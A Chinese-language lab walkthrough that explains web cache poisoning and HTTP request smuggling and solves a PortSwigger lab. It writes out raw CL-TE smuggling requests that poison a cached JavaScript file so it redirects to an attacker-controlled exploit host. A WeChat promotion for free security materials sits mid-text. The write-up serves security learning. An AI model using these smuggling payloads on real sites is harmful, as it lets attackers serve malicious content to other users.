當http請求走私和web緩存碰到一起會產生什麼樣的火花呢,讓我們看看。
在接觸Http Sumggling
緩存漏洞前,我們需要先對Http Sumggling
和Web緩存有所瞭解。
什麼是Web緩存
WEB緩存就是指網站的靜態文件,比如圖片、CSS、JS等,在網站訪問的時候,服務器會將這些文件緩存起來,以便下次訪問時直接從緩存中讀取,不需要再次請求服務器。
緩存位於服務器和客戶端之間,通常出於優化用戶瀏覽體驗或其他原因以減少對服務器的訪問而設定的在固定時間內保存且針對特定請求的響應,常見的緩存點有:
後端程序緩存
服務器緩存
瀏覽器緩存
緩存服務器
CDN緩存
最常見的無疑就是CDN及其類似的緩存服務器。
而爲了讓緩存判斷是否需要提供緩存內容,在http請求中會存在緩存鍵 X-Cache
,緩存鍵叫什麼決定於架構師,但都是一個概念。
什麼是web緩存漏洞
如上圖所示,假設小紫小黃小綠都在服務器劃分的同一批特定請求中,那麼小紫一開始訪問服務器時,經過緩存鍵X-Cache: Miss
的判定,是首次訪問,所以直接連接到Server
服務器,而其後的小黃、小綠再次訪問相同的文件時就會被判定爲X-Cache: Hit
,即只需連接Cache緩存服務器,不再連接到Server
服務器,藉此減少了Server
服務器的運行負荷。
這無疑是一個很不錯的設計,但一旦被有心之士利用,那就會發生一些不好的事情了。
如圖,當攻擊者改了一些包發送到後端,導致後端返回一些惡意數據,比如xss、注入等問題,而由於緩存的機制,後續的正常用戶訪問時就會讀取緩存服務器的惡意緩存,這就是常見的web緩存漏洞,也叫緩存投毒。
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備註 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
Http Sumggling
HTTP請求走私是一種干擾網站處理從一個或多個用戶接收的HTTP請求序列的方式的技術,其漏洞的主要形成原因是不同的服務器對於RFC標準的具體實現不一而導致的。
一般可分爲以下幾種:
CL: Content-Length
TE: Transfer-Encoding
-
CL不爲0的GET請求
-
CL-CL
-
CL-TE
-
TE-CL
-
TE-TE
在mengchen@知道創宇404實驗室
的文章中有了十分詳細的論述,我這就不再贅述。
Http Sumggling 緩存漏洞
靶場
依舊以Lab: Exploiting HTTP request smuggling to perform web cache poisoning
爲靶場。
解法
判斷是否存在走私,確定爲CL-TE。
POST / HTTP/1.1 Host: your-lab-id.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 129 Transfer-Encoding: chunked 0 GET /post/next?postId=3 HTTP/1.1 Host: anything Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=1
第一次請求爲:
POST / HTTP/1.1 Host: your-lab-id.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 129 Transfer-Encoding: chunked
第二次請求爲下半段:
GET /post/next?postId=3 HTTP/1.1 Host: anything Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=1
可以看到存在302跳轉。
然後我們需要找到哪裏進行緩存攻擊,這裏我以/resources/js/tracking.js
進行攻擊。
可以看到X-Cache
爲miss,這樣我們就可以利用修改,進行緩存攻擊。
-
先點擊send post包
POST / HTTP/1.1 Host: 0a9b0056035fcd3ec0c40506003b00aa.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 195 Transfer-Encoding: chunked 0 GET /post/next?postId=3 HTTP/1.1 Host: https://exploit-0a6d001c033acd49c0fa05c101130045.web-security-academy.net/ Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=1
訪問到第一部分:
-
然後在
/resources/js/tracking.js
send包:可以發現成功攻擊,緩存鍵爲
miss
,那下一個包應該就可以成功轉接到exploit上,我們試試。 -
對原界面進行抓包,多抓幾次。
發現host成功變爲我們的exploit。
後言
漏洞越來越多,也會越來越複雜,不再是單一的某種漏洞這麼簡單,多種漏洞複合是未來標誌。
更多靶場實驗練習、網安學習資料,請點擊這裏>>
搜索
複製